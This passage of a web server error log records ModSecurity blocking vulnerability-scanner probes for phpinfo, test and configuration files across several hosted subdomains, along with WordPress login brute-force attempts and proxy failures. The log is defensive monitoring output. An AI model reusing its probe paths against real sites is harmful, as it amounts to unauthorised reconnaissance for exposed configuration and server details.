"ai302bV-dFiaX9AtWiQxTwABdx0"] [Sat Jun 13 18:24:57.020829 2026] [security2:error] [pid 715691:tid 715933] [client 91.92.42.86:50144] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "acc.bxz.mybluehost.me"] [uri "/index.php"] [unique_id "ai302bV-dFiaX9AtWiQxUAAAAWY"], referer: http://acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.022834 2026] [security2:error] [pid 715691:tid 715885] [client 91.92.42.86:49812] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "acc.bxz.mybluehost.me"] [uri "/functions.php"] [unique_id "ai302bV-dFiaX9AtWiQxUQAAATY"], referer: http://acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.029089 2026] [proxy:error] [pid 646876:tid 647035] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:57.029184 2026] [proxy_http:error] [pid 646876:tid 647035] [client 91.92.42.86:50112] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.033906 2026] [proxy:error] [pid 646876:tid 647035] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:57.033985 2026] [proxy_http:error] [pid 646876:tid 647035] [client 91.92.42.86:50112] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.040529 2026] [security2:error] [pid 646876:tid 647105] [client 91.92.42.86:50108] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.acc.bxz.mybluehost.me"] [uri "/portal/phpinfo.php"] [unique_id "ai302dyTkdrNlD40tSHciAAAAGE"], referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.051513 2026] [security2:error] [pid 715691:tid 715929] [client 91.92.42.86:50186] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.acc.bxz.mybluehost.me"] [uri "/configuration.php"] [unique_id "ai302bV-dFiaX9AtWiQxUwAAAWI"], referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.056454 2026] [proxy:error] [pid 715691:tid 715925] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:57.056557 2026] [proxy_http:error] [pid 715691:tid 715925] [client 91.92.42.86:50200] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.059471 2026] [security2:error] [pid 646876:tid 647124] [client 91.92.42.86:50262] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.acc.bxz.mybluehost.me"] [uri "/phpinfo/info.php"] [unique_id "ai302dyTkdrNlD40tSHciwAAAHQ"], referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.062061 2026] [security2:error] [pid 646876:tid 647101] [client 91.92.42.86:50248] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.acc.bxz.mybluehost.me"] [uri "/test.php"] [unique_id "ai302dyTkdrNlD40tSHcjAAAAF0"], referer: http://autodiscover.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.064083 2026] [proxy:error] [pid 646876:tid 647010] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:57.064188 2026] [proxy_http:error] [pid 646876:tid 647010] [client 91.92.42.86:50236] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.064920 2026] [proxy:error] [pid 646876:tid 647061] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:57.065000 2026] [proxy_http:error] [pid 646876:tid 647061] [client 91.92.42.86:50132] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.065959 2026] [proxy:error] [pid 646876:tid 647010] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:57.066015 2026] [proxy_http:error] [pid 646876:tid 647010] [client 91.92.42.86:50236] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.066219 2026] [proxy:error] [pid 646876:tid 647061] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:57.066286 2026] [proxy_http:error] [pid 646876:tid 647061] [client 91.92.42.86:50132] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.066423 2026] [proxy:error] [pid 715691:tid 715925] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:57.066470 2026] [proxy_http:error] [pid 715691:tid 715925] [client 91.92.42.86:50200] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.068871 2026] [proxy:error] [pid 646876:tid 647108] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:57.068946 2026] [proxy_http:error] [pid 646876:tid 647108] [client 91.92.42.86:50254] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.070039 2026] [proxy:error] [pid 646876:tid 647108] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:57.070085 2026] [proxy_http:error] [pid 646876:tid 647108] [client 91.92.42.86:50254] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.072531 2026] [security2:error] [pid 646876:tid 647125] [client 159.223.112.69:40834] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai302dyTkdrNlD40tSHcjgAAAHU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:57.088494 2026] [security2:error] [pid 646876:tid 647093] [client 91.92.42.86:50278] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.acc.bxz.mybluehost.me"] [uri "/portal/phpinfo.php"] [unique_id "ai302dyTkdrNlD40tSHckAAAAFU"], referer: http://autodiscover.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.093590 2026] [proxy:error] [pid 715691:tid 715842] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:57.093687 2026] [proxy_http:error] [pid 715691:tid 715842] [client 91.92.42.86:50192] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.094995 2026] [security2:error] [pid 715691:tid 715959] [client 91.92.42.86:50168] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.acc.bxz.mybluehost.me"] [uri "/server_info.php"] [unique_id "ai302bV-dFiaX9AtWiQxWwAAAYA"], referer: http://cpanel.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.095647 2026] [proxy:error] [pid 715691:tid 715842] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:57.095715 2026] [proxy_http:error] [pid 715691:tid 715842] [client 91.92.42.86:50192] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.099477 2026] [security2:error] [pid 646876:tid 647020] [client 34.66.224.20:51856] ModSecurity: Access denied with code 406 (phase 2). Match of "rx [.](png|jpeg|jpg|tiff|bmp|gif|webp|heif|svg|raw|ico|ppm|pgm|pbm|exr|nef|dng|cr2|orf|arw|pef|sr2|raf|kdc|indd|ai|eps|pdf|psd|tga|hdr|j2k|jpf|jp2|pspimage|cut|icns|webm|bpg|avif|heic|fpx|hdri|hdp|yuv|sgi|xpm|svgz)$" against "REQUEST_FILENAME" required. [file "/opt/mod_security/hg_rules.conf"] [line "842"] [id "900095"] [msg "Bad UA :: Fake Mozilla Agent"] [hostname "nelsonfarmstn.com"] [uri "/"] [unique_id "ai302dyTkdrNlD40tSHckQAAAAw"] [Sat Jun 13 18:24:57.101092 2026] [proxy:error] [pid 715691:tid 715908] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:57.101178 2026] [proxy_http:error] [pid 715691:tid 715908] [client 91.92.42.86:50120] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.101944 2026] [security2:error] [pid 715691:tid 715963] [client 91.92.42.86:50220] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.acc.bxz.mybluehost.me"] [uri "/portal/phpinfo.php"] [unique_id "ai302bV-dFiaX9AtWiQxXgAAAYQ"], referer: http://cpanel.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.104168 2026] [security2:error] [pid 715691:tid 715862] [client 91.92.42.86:50122] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.acc.bxz.mybluehost.me"] [uri "/php_info.php"] [unique_id "ai302bV-dFiaX9AtWiQxWgAAAR8"], referer: http://autodiscover.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.104401 2026] [proxy:error] [pid 715691:tid 715908] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:57.104455 2026] [proxy_http:error] [pid 715691:tid 715908] [client 91.92.42.86:50120] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.105362 2026] [security2:error] [pid 715691:tid 715965] [client 91.92.42.86:50172] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.acc.bxz.mybluehost.me"] [uri "/server_info.php"] [unique_id "ai302bV-dFiaX9AtWiQxXwAAAYY"], referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.106404 2026] [security2:error] [pid 715691:tid 715867] [client 91.92.42.86:50146] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "acc.bxz.mybluehost.me"] [uri "/test.php"] [unique_id "ai302bV-dFiaX9AtWiQxYAAAASQ"], referer: http://acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.109035 2026] [security2:error] [pid 715691:tid 715909] [client 91.92.42.86:50306] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.acc.bxz.mybluehost.me"] [uri "/index.php"] [unique_id "ai302bV-dFiaX9AtWiQxYQAAAU4"], referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.109894 2026] [security2:error] [pid 715691:tid 715958] [client 91.92.42.86:50128] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "acc.bxz.mybluehost.me"] [uri "/configuration.php"] [unique_id "ai302bV-dFiaX9AtWiQxYwAAAX8"], referer: http://acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.110275 2026] [security2:error] [pid 715691:tid 715878] [client 91.92.42.86:50328] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.acc.bxz.mybluehost.me"] [uri "/test.php"] [unique_id "ai302bV-dFiaX9AtWiQxYgAAAS8"], referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.116869 2026] [security2:error] [pid 715691:tid 715967] [client 91.92.42.86:50316] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.acc.bxz.mybluehost.me"] [uri "/phpinfo/info.php"] [unique_id "ai302bV-dFiaX9AtWiQxZQAAAYg"], referer: http://cpanel.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.119443 2026] [security2:error] [pid 646876:tid 647114] [client 91.92.42.86:50406] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.acc.bxz.mybluehost.me"] [uri "/php_info.php"] [unique_id "ai302dyTkdrNlD40tSHclAAAAGo"], referer: http://cpanel.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.123581 2026] [security2:error] [pid 646876:tid 647037] [client 91.92.42.86:50400] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.acc.bxz.mybluehost.me"] [uri "/functions.php"] [unique_id "ai302dyTkdrNlD40tSHclQAAAB0"], referer: http://autodiscover.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.124243 2026] [security2:error] [pid 646876:tid 647069] [client 91.92.42.86:50416] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.acc.bxz.mybluehost.me"] [uri "/configuration.php"] [unique_id "ai302dyTkdrNlD40tSHclgAAAD0"], referer: http://autodiscover.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.126075 2026] [security2:error] [pid 715691:tid 715960] [client 91.92.42.86:50420] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.acc.bxz.mybluehost.me"] [uri "/pinfo.php"] [unique_id "ai302bV-dFiaX9AtWiQxaAAAAYE"], referer: http://autodiscover.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.133312 2026] [proxy:error] [pid 715691:tid 715943] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:57.133428 2026] [proxy_http:error] [pid 715691:tid 715943] [client 91.92.42.86:50374] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.138428 2026] [proxy:error] [pid 715691:tid 715943] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:57.138516 2026] [proxy_http:error] [pid 715691:tid 715943] [client 91.92.42.86:50374] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.145520 2026] [security2:error] [pid 715691:tid 715907] [client 91.92.42.86:50210] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.acc.bxz.mybluehost.me"] [uri "/index.php"] [unique_id "ai302bV-dFiaX9AtWiQxbAAAAUw"], referer: http://autodiscover.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.146129 2026] [security2:error] [pid 715691:tid 715948] [client 91.92.42.86:50404] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.acc.bxz.mybluehost.me"] [uri "/functions.php"] [unique_id "ai302bV-dFiaX9AtWiQxbgAAAXU"], referer: http://cpanel.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.149138 2026] [security2:error] [pid 715691:tid 715863] [client 91.92.42.86:50334] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.acc.bxz.mybluehost.me"] [uri "/test.php"] [unique_id "ai302bV-dFiaX9AtWiQxcAAAASA"], referer: http://cpcontacts.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.149471 2026] [security2:error] [pid 715691:tid 715924] [client 91.92.42.86:50426] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.acc.bxz.mybluehost.me"] [uri "/phpinfo/info.php"] [unique_id "ai302bV-dFiaX9AtWiQxcQAAAV0"], referer: http://autodiscover.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.156419 2026] [security2:error] [pid 715691:tid 715891] [client 91.92.42.86:50370] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.acc.bxz.mybluehost.me"] [uri "/index.php"] [unique_id "ai302bV-dFiaX9AtWiQxdgAAATw"], referer: http://cpanel.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.156615 2026] [proxy:error] [pid 715691:tid 715928] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:57.156697 2026] [proxy_http:error] [pid 715691:tid 715928] [client 91.92.42.86:50378] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.156782 2026] [security2:error] [pid 715691:tid 715784] [remote 17.246.23.23:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 23.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai302bV-dFiaX9AtWiQxbQABVUk"] [Sat Jun 13 18:24:57.157439 2026] [proxy:error] [pid 715691:tid 715928] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:24:57.157493 2026] [proxy_http:error] [pid 715691:tid 715928] [client 91.92.42.86:50378] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.184102 2026] [security2:error] [pid 715691:tid 715935] [client 91.92.42.86:50472] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.acc.bxz.mybluehost.me"] [uri "/functions.php"] [unique_id "ai302bV-dFiaX9AtWiQxdwAAAWg"], referer: http://mail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.193382 2026] [access_compat:error] [pid 646876:tid 646946] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9wb3dlcg== [Sat Jun 13 18:24:57.193842 2026] [access_compat:error] [pid 646876:tid 646946] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9wb3dlcg== [Sat Jun 13 18:24:57.218222 2026] [security2:error] [pid 715691:tid 715852] [client 91.92.42.86:50492] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.acc.bxz.mybluehost.me"] [uri "/index.php"] [unique_id "ai302bV-dFiaX9AtWiQxegAAARU"], referer: http://mail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.219250 2026] [security2:error] [pid 715691:tid 715903] [client 91.92.42.86:50482] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.acc.bxz.mybluehost.me"] [uri "/test.php"] [unique_id "ai302bV-dFiaX9AtWiQxfAAAAUg"], referer: http://mail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.235926 2026] [security2:error] [pid 715691:tid 715950] [client 91.92.42.86:50506] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.acc.bxz.mybluehost.me"] [uri "/portal/phpinfo.php"] [unique_id "ai302bV-dFiaX9AtWiQxfwAAAXc"], referer: http://mail.acc.bxz.mybluehost.me/ [Sat Jun 13 18:24:57.255954 2026] [security2:error] [pid 646876:tid 647027] [client 216.73.216.201:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 201.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/Zend/tests/bug40757.phpt"] [unique_id "ai302dyTkdrNlD40tSHcnAAAABM"] [Sat Jun 13 18:24:57.256688 2026] [access_compat:error] [pid 715691:tid 715821] [remote 57.141.14.84:36198] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:57.257135 2026] [access_compat:error] [pid 715691:tid 715821] [remote 57.141.14.84:36198] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:57.293931 2026] [security2:error] [pid 715691:tid 715859] [client 159.223.112.69:40848] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname 